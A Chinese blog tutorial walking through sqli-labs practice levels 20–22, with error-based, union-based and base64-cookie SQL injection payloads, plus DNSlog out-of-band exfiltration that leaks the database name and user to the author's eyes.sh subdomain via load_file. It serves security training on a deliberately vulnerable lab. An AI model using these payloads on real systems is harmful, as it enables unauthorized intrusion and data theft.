SQL注入【sqli靶场第20-22关和dnslog外带】(五)

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

接上文:SQL注入【sqli靶场第15-19关】(四)

10、Less-20

POST - Cookie injections - Uagent field - error based.

这关需要先登录成功后,浏览器有Cookie数据后再用Burp Suite抓包,在头部的Cookie属性做SQL注入。

10.1、判断是否存在SQL注入

正常响应长度

SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第1张图片

输入带单引号’,响应长度有变化
SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第2张图片

10.2、报错函数

10.2.1、获取数据库名和账号

根据报错函数获取到数据库名,登录名

# 输入内容-数据库名
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1

# 输入内容-登录名--和上面不再截图
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1

SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第3张图片

11、Less-21

cookie injection- base64 encoded-single quotes and parenthesis

这是Cookie内容编码的,因此需要先登录成功后,再拿到Cookie值进行base64解码,拿到解码值再拼接单双引号等确认是否可以SQL注入的等内容进行base64编码,放到Cookie发送请求看响应结果值。

base64编码解码网址:https://base64.us/

我的测试账号/密码:admin/admin

11.1、判断是否存在SQL注入

使用单引号,从报错信息来看是需要加一个括号进行闭合
SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第4张图片
SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第5张图片
SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第6张图片
SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第7张图片

11.2、确定查询字段个数

从界面上看应该是2个,但还是以确定结果为准,注意:以下输入内容都需要base64编码

# 输入内容
admin') order by 4 -- '

# 关键结果
Issue with your mysql: Unknown column '4' in 'order clause'

# 修改为3 -- 显示正常,因此可以确定查询字段是3个
admin') order by 3 -- '

11.3、联合查询

# 输入内容
admin') and 1=2 union select 1,database(),user() -- '

SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第8张图片

12、Less-22

cLess-22 Cookie Injection- Error Based- Double Quotes - string

这是Cookie内容编码的,因此需要先登录成功后,再拿到Cookie值进行base64解码,拿到解码值再拼接单双引号等确认是否可以SQL注入的等内容进行base64编码,放到Cookie发送请求看响应结果值。

base64编码解码网址:https://base64.us/

我的测试账号/密码:admin/admin

12.1、判断是否存在SQL注入

使用双引号,有报错信息,闭合是双引号
SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第9张图片
SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第10张图片
SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第11张图片
SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第12张图片

12.2、确定查询字段个数

从界面上看应该是2个,但还是以确定结果为准,注意:以下输入内容都需要base64编码

# 输入内容
admin" order by 4 -- "

# 关键结果
Issue with your mysql: Unknown column '4' in 'order clause'

# 修改为3 -- 显示正常,因此可以确定查询字段是3个
admin" order by 3 -- "

12.3、联合查询

从测试验证结果来看,回显在界面的字段是第2个,因此要获得数据库名和登录名,需要分2次

# 输入内容
admin" and 1=2 union select database(),user(),3 --"

SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第13张图片

13 、DNSLOG外带验证

使用Less-11为实验对象,因前面的已有验证过是可注入就不再贴图说明,DNSLOG我选择http://eyes.sh/dns ,没选择http://www.dnslog.cn/ 因为这个需要开启VPN代理比较麻烦。eyes.sh/dns 还有一个好处就是自己注册的账号加后缀固定值,可以不用一直获取。

我的子域名是:wuqixiufen2.eyes.sh

13.1、确认数据库是否有文件上传权限

# SQL查询语句
show global variables like '%secure%';

SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第14张图片

由于没有目前数据库没有文件上传权限,需要去修改一下数据库配置,测试目标数据库的配置文件my.ini文件搜索关键字:secure_file_priv,看是否存在,如果不存在则添加以下配置,一定要重启数据库服务

secure_file_priv=

SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第15张图片

13.2、注入语句利用和查询结果

数据库名按语句规则拼接好,点Send,然后看dns请求结果,数据库名结果出来了

# 输入内容
'+and+(select+load_file(concat('\\\\',(select+database()),'.wuqixiufen2.eyes.sh/abc')))--+

SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第16张图片
SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第17张图片

由于登录名包含了特殊字符,需要做一下16进制转换拼接成语句,得到结果再进行转换回来。

# 输入内容
'+and+(select+load_file(concat('\\\\',(select+hex(user())),'.wuqixiufen2.eyes.sh/abc')))--+

# 结果值是
726f6f74406c6f63616c686f7374

# hex值转换成目标值网址
https://www.tomeko.net/online_tools/hex_to_ascii.php?lang=en

SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第18张图片
SQL注入【sqli靶场第20-22关和dnslog外带】(五)_第19张图片

14、下期内容预告

下期继续分享:SQL注入【UA/referer/dnslog等其他内容】(六),敬请关注我的公众号:大象只为你,持续更新中…

你可能感兴趣的:(跟我学网安知识,sql,网络安全)